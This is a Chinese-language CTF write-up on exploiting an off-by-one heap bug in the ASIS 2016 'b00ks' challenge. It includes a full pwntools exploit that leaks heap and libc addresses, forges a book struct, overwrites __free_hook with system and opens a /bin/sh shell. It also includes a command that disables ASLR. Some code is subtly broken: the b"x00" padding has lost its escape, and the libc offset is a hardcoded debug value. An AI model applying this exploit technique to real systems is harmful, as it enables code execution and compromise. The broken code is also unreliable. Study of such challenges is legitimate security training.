off-by-one

严格来说 off-by-one 漏洞是一种特殊的溢出漏洞，off-by-one 指程序向缓冲区写入时，写入的字节数超过了这个缓冲区本身申请的字节数并且只越界了一个字节

char buf[size];
for (int i = 0; i <= size; i++) {
    buf[i] = getchar();
}

通常是在buf[size]位置在非法写入一个字节，堆上（heap based）的 off-by-one 是 CTF 中比较常见的

Asis-2016-b00ks | off-by-one

IDA分析,已下是逆向过的代码，方便理解

Change先在author处输入32个字节，此处有off-by-one漏洞，触发需要注意代码执行顺序

之后是菜单选择，Create主要是创建book结构体以及book_list

为方便理解用调试看一下

绿框是我们输入的author name,红框是book1，蓝框是booklist，可以容纳最多20本书（20的原因是下面的check full函数）

绿色，红色，橙色分别对应name,description,book，红色框是可以变化的，取决于size,下图的后三行中的0x30大小的chunk是截止到目前调用一次Create(3次malloc)

可以看出Print是按地址解析的。

漏洞利用

泄露book1地址

# leak book1_addr
book_id, book_name, book_des, book_author = print_book(1) # print book1_addr 
ru("A"*32)
book1_addr = u64(book_author[32:32+6].ljust(8, b"x00"))
log.info("book1_addr: " + hex(book1_addr))

book2_addr = book1_addr + 0x30 # we can know from malloc(book) 0x20+0x10(chunkhead)

echo 0 > /proc/sys/kernel/randomize_va_space

从堆的角度来说其实是chunk的mem而不是chunkptr,可以利用off-by-one泄露

fake_book

# fake book_struct in book1_description
# 0x60 =hex(0x300-0x2a0) 0x300 is after off-by-one
# offset +fake_book_id +fake_book_name(book2_addr+8=book2_name_ptr)
payload = 'a' * 0x60 + mypack(1) + mypack(book2_addr + 8) *2 + mypack(0xffff)
edit_book(1, payload) # write into book1_description

计算libcbase

# libcbase debug:offset = name_ptr - libc
offset =   0x7ffff7fb9010- 0x7ffff79e2000
libcbase = book2_name_addr - offset
log.info("libcbase: " + hex(libcbase))

libc_binsh & _free_hook

### reference
free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase

binsh_addr = libc.search(b'/bin/sh').__next__() + libcbase

payload = mypack(binsh_addr) + mypack(free_hook)
edit_book(1, payload)

payload = mypack(system)
edit_book(2, payload)

delete_book(2)
io.interactive()

完整exp

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#context.terminal = ['tmux','splitw','-h'] #docker
#gdb.attach(proc.pidof(p)[0],gdbscript="b *0x4008cb")
DEBUG = 0 # debug model 1 for debug
LOCAL = 1 # control local or process

if LOCAL:
    io = process('./b00ks')
else:
    io = remote('127.0.0.1', 5678)

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# used for debug
image_base = 0x555555554000
bp = image_base + 0x202040
if DEBUG:
    pwnlib.gdb.attach(io)

rv = io.recv
ru = io.recvuntil
rl = io.readline
sd = io.send
sa = io.sendafter
sl = io.sendline
sla = io.sendlineafter

def mypack(input):
    return p64(input).decode("iso-8859-1")

def myunpack(input):
    return u64(input.ljust(8,bytes('0','iso-8859-1')))

def create_book(name_size, name, description_size, description):
    sla(">", "1")
    sla("Enter book name size:", str(name_size))
    sla("Enter book name (Max 32 chars):", name)
    sla("Enter book description size: ", str(description_size))
    sla("Enter book description: ", str(description))
    log.info("Create")

def delete_book(idx):
    sla(">", "2")
    sla("Enter the book id you want to delete: ", str(idx))
    log.info("Delete")

def edit_book(idx, description):
    sla(">", "3")
    sla("Enter the book id you want to edit: ", str(idx))
    ru("Enter new book description")
    sla(": ", description)
    log.info("Edit")

def print_book(idx):
    sla(">", "4")
    for i in range(idx):
        ru(": ")
        book_id = int(rl()[:-1])
        ru(": ")
        book_name = rl()[:-1]
        ru(": ")
        book_des = rl()[:-1]
        ru(": ")
        book_author = rl()[:-1]
    log.info("print_book")
    return book_id, book_name, book_des, book_author

def change_name(name):
    sla(">", "5")
    sla("Enter author name: ", name)
    log.info("change name")

def create_name(name):
    sla("name:", name)



create_name("A" * 32)
create_book(0x20, "a", 0x80, "b") 
create_book(0x21000, "c", 0x21000, "d") # mmap malloc
# leak book1_addr
book_id, book_name, book_des, book_author = print_book(1) # print book1_addr 
ru("A"*32)
book1_addr = u64(book_author[32:32+6].ljust(8, b"x00"))
log.info("book1_addr: " + hex(book1_addr))



book2_addr = book1_addr + 0x30 # we can know from malloc(book) 0x20+0x10(chunkhead)
# fake book_struct in book1_description
# 0x60 =hex(0x300-0x2a0) 0x300 is after off-by-one
# offset +fake_book_id +fake_book_name(book2_addr+8=book2_name_ptr)
payload = 'a' * 0x60 + mypack(1) + mypack(book2_addr + 8) *2 + mypack(0xffff)
edit_book(1, payload) # write into book1_description 
sleep(1)

### leak book2_name_ptr

change_name('A'*32)
# leak book2_name ptr
book_id, book_name, book_des, book_author = print_book(1)

book2_name_addr = u64(book_des.ljust(8, b"x00"))
log.info("book2_name_addr: " + hex(book2_name_addr))

# libcbase debug:offset = name_ptr - libc
offset =   0x7ffff7fb9010- 0x7ffff79e2000
libcbase = book2_name_addr - offset
log.info("libcbase: " + hex(libcbase))

### reference
free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase

binsh_addr = libc.search(b'/bin/sh').__next__() + libcbase

payload = mypack(binsh_addr) + mypack(free_hook)
edit_book(1, payload)

payload = mypack(system)
edit_book(2, payload)

delete_book(2)
io.interactive()

参考：
https://cq674350529.github.io/2018/06/05/asis-ctf-2016-pwn-b00ks/
https://www.cnblogs.com/liyuechan/p/10477418.html

zer0_1s